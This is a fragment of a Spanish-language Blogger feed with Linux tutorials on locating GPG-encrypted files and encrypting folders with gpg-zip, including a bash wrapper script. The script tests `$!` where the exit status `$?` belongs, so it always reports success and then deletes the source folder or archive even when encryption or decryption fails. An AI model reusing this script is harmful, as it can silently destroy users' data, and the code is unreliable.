&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/991209518096594952/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/10/shell-reloj-binario-en-c.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/991209518096594952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/991209518096594952'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/10/shell-reloj-binario-en-c.html' title='[Shell] Reloj binario en C'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCyefVUN3NFpTH8KivsmCzmLa20bNuUqdcBZn8ah7O6lLjMVLH8fAzHpUOEXa6yi80_QlR1GQeo90Skrs-KHm5rnKuXg42P1kfCozkk0slqqBmBIyaszozF1Qt1ZmaVoKC0-njNn4WuSGc/s72-c/reloj2.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-7188284767767284973</id><published>2014-07-31T14:31:00.000-05:00</published><updated>2014-07-31T14:31:14.343-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="find"/><category scheme="http://www.blogger.com/atom/ns#" term="gpg"/><category scheme="http://www.blogger.com/atom/ns#" term="gpg-zip"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="pipes"/><category scheme="http://www.blogger.com/atom/ns#" term="unix"/><title type='text'>Buscar archivos encriptados con gpg en Linux</title><content type='html'>Veamos como encontrar archivos que estén encriptados con &lt;b&gt;GPG&lt;/b&gt; usando la herramienta &lt;b&gt;find&lt;/b&gt;,esto nos sirve para encontrar archivos previamente encriptados por si posterior mente queremos o intentaremos abrirlos:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Solo abrimos una terminal y ejecutamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;find ./ -exec file {} \; | grep &#39;GPG\|PGP&#39;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMB_1em_Ce4il0-ccoWk90qSelba4z-w4RlvJaN3TDrAZPCRFjlc6tz2shtZExGGObodOAFI-UrBi3-5Y9TNn2DzuhGrNoyMC7jPKkUW4t918vzwnn6G2WDKPDDr1e-efWA-tut945Zzh0/s1600/folder+encript3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMB_1em_Ce4il0-ccoWk90qSelba4z-w4RlvJaN3TDrAZPCRFjlc6tz2shtZExGGObodOAFI-UrBi3-5Y9TNn2DzuhGrNoyMC7jPKkUW4t918vzwnn6G2WDKPDDr1e-efWA-tut945Zzh0/s1600/folder+encript3.png&quot; height=&quot;225&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Esto funciona para cifrado simétrico como el que vimos en la entrada pasada.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Eso es todo :D&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/7188284767767284973/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/07/buscar-archivos-encriptados-con-gpg-en.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/7188284767767284973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/7188284767767284973'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/07/buscar-archivos-encriptados-con-gpg-en.html' title='Buscar archivos encriptados con gpg en Linux'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMB_1em_Ce4il0-ccoWk90qSelba4z-w4RlvJaN3TDrAZPCRFjlc6tz2shtZExGGObodOAFI-UrBi3-5Y9TNn2DzuhGrNoyMC7jPKkUW4t918vzwnn6G2WDKPDDr1e-efWA-tut945Zzh0/s72-c/folder+encript3.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-6436092708151600248</id><published>2014-07-31T14:04:00.001-05:00</published><updated>2014-07-31T14:11:46.340-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="encriptar"/><category scheme="http://www.blogger.com/atom/ns#" term="folders"/><category scheme="http://www.blogger.com/atom/ns#" term="gentoo"/><category scheme="http://www.blogger.com/atom/ns#" term="gpg-zip"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Como encriptar carpetas en Linux con GPG</title><content type='html'>En esta ocasión vamos a aprender como encriptar una carpeta en Linux,en mi caso Ubuntu 14.04 pero lo podemos hacer con cualquier distribucion de Linux,solo necesitamos tener instalada la herramienta GnuPG que quiere decir :&amp;nbsp;GNU Privacy Guard.&lt;br /&gt;
&lt;br /&gt;
Bien en muchos sistemas con Linux ya biene instalado pero en otros no asi que lo verificamos:&lt;br /&gt;
&lt;br /&gt;
Abrimos una terminal y escribimos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: purple;&quot;&gt;&amp;nbsp;which gpg; if [[ $? -eq 0 ]]; then echo &quot;Instalado&quot;; else echo &quot;No instalado&quot;; fi&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&amp;nbsp;Si no lo tenemos instalado buscamos como instalarlo para nuestra distribución de Linux,de hecho el programa que vamos a usar es gpg-zip,que se instala junto a gpg,en sistemas como Gentoo no se si se instale por las flags usadas al compilar asi que revisar bien a la hora de instalar.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Tutorial&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vamos a ver un ejemplo,tengo un codigo en C importante:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqmupGLln-A_CqUL7fwY70p-7xZjKvcnnmO0knlHvQvMdd9iMjQsHlLnJZesCsaunwpWQOekxP400VRRafpi_8e9xHWbuYINcBA_PiRIu4RzkbKRPW2HwNFNB_fZFOmUsdtgM3iPyU7oow/s1600/gpg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqmupGLln-A_CqUL7fwY70p-7xZjKvcnnmO0knlHvQvMdd9iMjQsHlLnJZesCsaunwpWQOekxP400VRRafpi_8e9xHWbuYINcBA_PiRIu4RzkbKRPW2HwNFNB_fZFOmUsdtgM3iPyU7oow/s1600/gpg.png&quot; height=&quot;370&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ahora voy a encriptar esa carpeta,en mi caso estoy usando Dolphin en mi caso este explorador de archivos cuenta con una Terminal empotrada,asi que solo la abro:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6rfuKQ5GOyoToMyebzEdF-SWf8HG1pQjNQHtwhLI-fTxW9Z9Xlm5C5jrLig25EpjRkixUGTmH6A14sTIZ5B4TKoQMEkyU4qFp8FKDs3Vu1r-sgKc3AiUEMT_wdsAr3EvuvCkXgBpHqemL/s1600/docs+c1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6rfuKQ5GOyoToMyebzEdF-SWf8HG1pQjNQHtwhLI-fTxW9Z9Xlm5C5jrLig25EpjRkixUGTmH6A14sTIZ5B4TKoQMEkyU4qFp8FKDs3Vu1r-sgKc3AiUEMT_wdsAr3EvuvCkXgBpHqemL/s1600/docs+c1.png&quot; height=&quot;231&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
En otro caso abren una terminal y van al destino donde tienen la carpeta a encriptar:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuB0Ixc5wvDiRTMJ4GNSB53fFHDJz37M6Q43ko_4LsUfi1kOhE9M2TWWrcIV3viOAzR62S-Z_ybN1Uz7vGflbDmVRo_TBZNE-YTidh5hTLDFZyRXm_nl9da9A6xwNWFGP_k5ksEh2vO1eO/s1600/docs+c2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuB0Ixc5wvDiRTMJ4GNSB53fFHDJz37M6Q43ko_4LsUfi1kOhE9M2TWWrcIV3viOAzR62S-Z_ybN1Uz7vGflbDmVRo_TBZNE-YTidh5hTLDFZyRXm_nl9da9A6xwNWFGP_k5ksEh2vO1eO/s1600/docs+c2.png&quot; height=&quot;225&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Bien ahora encriptamos,nosotros vamos a usar una frase para volver a desencriptar(cifrado simétrico) este usa &lt;b&gt;&lt;a href=&quot;https://es.wikipedia.org/wiki/CAST-128&quot; target=&quot;_blank&quot;&gt;CAST5&lt;/a&gt;, &lt;/b&gt;esa opcion la llamamos con el parametro -c:&lt;br /&gt;
&lt;br /&gt;
El programa,así vamos hasta el momento:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;gpg-zip -c&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
Ahora solo debemos mostrar el nombre de salida,al igual que otros programas usamos el parametro -o,asi:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;-o salida.gpg&lt;/b&gt;&lt;/blockquote&gt;
Y por ultimo el nombre de la carpeta,en mi caso &lt;b&gt;prueba&lt;/b&gt;,asi queda la linea entera:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;gpg-zip -c -o salida.gpg prueba&lt;/b&gt;&lt;/blockquote&gt;
Al ejecutar esto nos pide una contraseña en GUI:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggfmwUKEA_fCD6VEp7wdP9grvtNCPPgz-lOrF1W_fCNEEzE01IBsnZMXWQskz9OWw1GFLCTt9FGCIc1yNDnZdutMOuriJWaUyXpIsfxroJllpunVLAT6JDeGX7Rf-L6Y55vSsfBS21kG_M/s1600/contrasena.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggfmwUKEA_fCD6VEp7wdP9grvtNCPPgz-lOrF1W_fCNEEzE01IBsnZMXWQskz9OWw1GFLCTt9FGCIc1yNDnZdutMOuriJWaUyXpIsfxroJllpunVLAT6JDeGX7Rf-L6Y55vSsfBS21kG_M/s1600/contrasena.png&quot; height=&quot;193&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
La escribimos y la reafirmamos y con eso nos crea el fichero cifrado:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzqLiFzZa9PUm5wFL73EQ_1ZLjSow_3c_rocfUFlw4jh0zxlh4OksVuigDR9ciVJ4HZw8pcXrAknIWfOJM_U4P4tyXzI_6l6ENGZCUK6lqn3s4evW5N2WhEu32EAvg55ijeEShE7EvCf9/s1600/folder+encript.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzqLiFzZa9PUm5wFL73EQ_1ZLjSow_3c_rocfUFlw4jh0zxlh4OksVuigDR9ciVJ4HZw8pcXrAknIWfOJM_U4P4tyXzI_6l6ENGZCUK6lqn3s4evW5N2WhEu32EAvg55ijeEShE7EvCf9/s1600/folder+encript.png&quot; height=&quot;231&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Con esto podemos borrar la carpeta original,y podemos ver que es fichero cifrado:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw2KqZccuf3cZ6AZColU2kdTM67Oyduv3ygI5F59_awQqcc4nZp0pwM7v69KZwN5uL5otM-9EvrdwlU_zB2hjUvyv_wb5KWvRNvhajVkaNDdATdvSKGYmcNyIHMpESeh6DcbreXM-fxgeS/s1600/folder+encript1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw2KqZccuf3cZ6AZColU2kdTM67Oyduv3ygI5F59_awQqcc4nZp0pwM7v69KZwN5uL5otM-9EvrdwlU_zB2hjUvyv_wb5KWvRNvhajVkaNDdATdvSKGYmcNyIHMpESeh6DcbreXM-fxgeS/s1600/folder+encript1.png&quot; height=&quot;231&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ahora como lo desencriptamos, con el parametro -d seguido del nombre del gpg,en este caso:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;gpg-zip -d salida.gpg&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Nos pide la contraseña y vuelve a &quot;crear&quot; el directorio,eso es todo en este caso usamos un cifrado muy común ya que solo usamos contraseña y tar lo que seria como un comprimido con contraseña(no es asi),pero gpg va mas haya con cifrado asimétrico,firmas,etc.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Aqui un script para realizar lo que vimos en esta entrada de una manera facil:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Solo usamos,para desencriptar:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Nombre_script.sh -d nombre.gpg&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para encriptar:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Nombre_script.sh -e carpeta&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;No cancelar en fase de encriptacion,que borra el folder y no deja respaldo gpg.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;function &lt;/span&gt;decripta&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Desencriptando $1&quot;&lt;/span&gt;
    gpg-zip -d &lt;span style=&quot;color: black;&quot;&gt;$1&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[[&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;$!&lt;/span&gt; -eq 0 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]]&lt;/span&gt;;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;then&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #204a87;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Hecho&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #204a87;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Algo salio mal :(&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #204a87;&quot;&gt;exit&lt;/span&gt;
&lt;span style=&quot;color: #204a87;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;    &lt;/span&gt;rm &lt;span style=&quot;color: black;&quot;&gt;$1&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;function &lt;/span&gt;encripta&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Encriptando $1&quot;&lt;/span&gt;
    gpg-zip -c -o &lt;span style=&quot;color: black;&quot;&gt;$1&lt;/span&gt;.gpg &lt;span style=&quot;color: black;&quot;&gt;$1&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[[&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;$!&lt;/span&gt; -eq 0 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]]&lt;/span&gt;;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;then&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #204a87;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Hecho&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #204a87;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Algo salio mal :(&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #204a87;&quot;&gt;exit&lt;/span&gt;
&lt;span style=&quot;color: #204a87;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;    &lt;/span&gt;rm -rf &lt;span style=&quot;color: black;&quot;&gt;$1&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;function &lt;/span&gt;&lt;span style=&quot;color: #204a87;&quot;&gt;help&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Uso : $0 [-e] Encriptar&lt;/span&gt;
&lt;span style=&quot;color: #4e9a06;&quot;&gt;                   [-d] Desencriptar&lt;/span&gt;
&lt;span style=&quot;color: #4e9a06;&quot;&gt;                                     Archivo&quot;&lt;/span&gt;

&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;$1&lt;/span&gt; in
    -e&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[[&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;$2&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&#39;&#39;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]]&lt;/span&gt;;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;then&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #204a87;&quot;&gt;help&lt;/span&gt;;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;            &lt;/span&gt;encripta &lt;span style=&quot;color: black;&quot;&gt;$2&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
    ;;
    -d&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[[&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;$2&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&#39;&#39;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]]&lt;/span&gt;;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;then&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #204a87;&quot;&gt;help&lt;/span&gt;;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;            &lt;/span&gt;decripta &lt;span style=&quot;color: black;&quot;&gt;$2&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
    ;;
    &lt;span style=&quot;color: #4e9a06;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #204a87;&quot;&gt;help&lt;/span&gt;
    ;;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;esac&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Eso es todo :D</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/6436092708151600248/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/07/como-encriptar-carpetas-en-linux-con-gpg.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/6436092708151600248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/6436092708151600248'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/07/como-encriptar-carpetas-en-linux-con-gpg.html' title='Como encriptar carpetas en Linux con GPG'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqmupGLln-A_CqUL7fwY70p-7xZjKvcnnmO0knlHvQvMdd9iMjQsHlLnJZesCsaunwpWQOekxP400VRRafpi_8e9xHWbuYINcBA_PiRIu4RzkbKRPW2HwNFNB_fZFOmUsdtgM3iPyU7oow/s72-c/gpg.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-4281874989585538067</id><published>2014-07-10T17:07:00.000-05:00</published><updated>2014-07-10T17:07:03.853-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="applet"/><category scheme="http://www.blogger.com/atom/ns#" term="kde"/><category scheme="http://www.blogger.com/atom/ns#" term="kubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="pelota"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Eliminar Pelota que Rebota en KDE imposible</title><content type='html'>Este tutorial es para poder eliminar el &lt;b&gt;elemento&lt;/b&gt;&amp;nbsp;de la pelota roja en el escritorio de &lt;b&gt;KDE&lt;/b&gt;,esta pelota esta bien si queremos darle un toque colorido al escritorio,pero lo feo comienza si la configuramos así:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
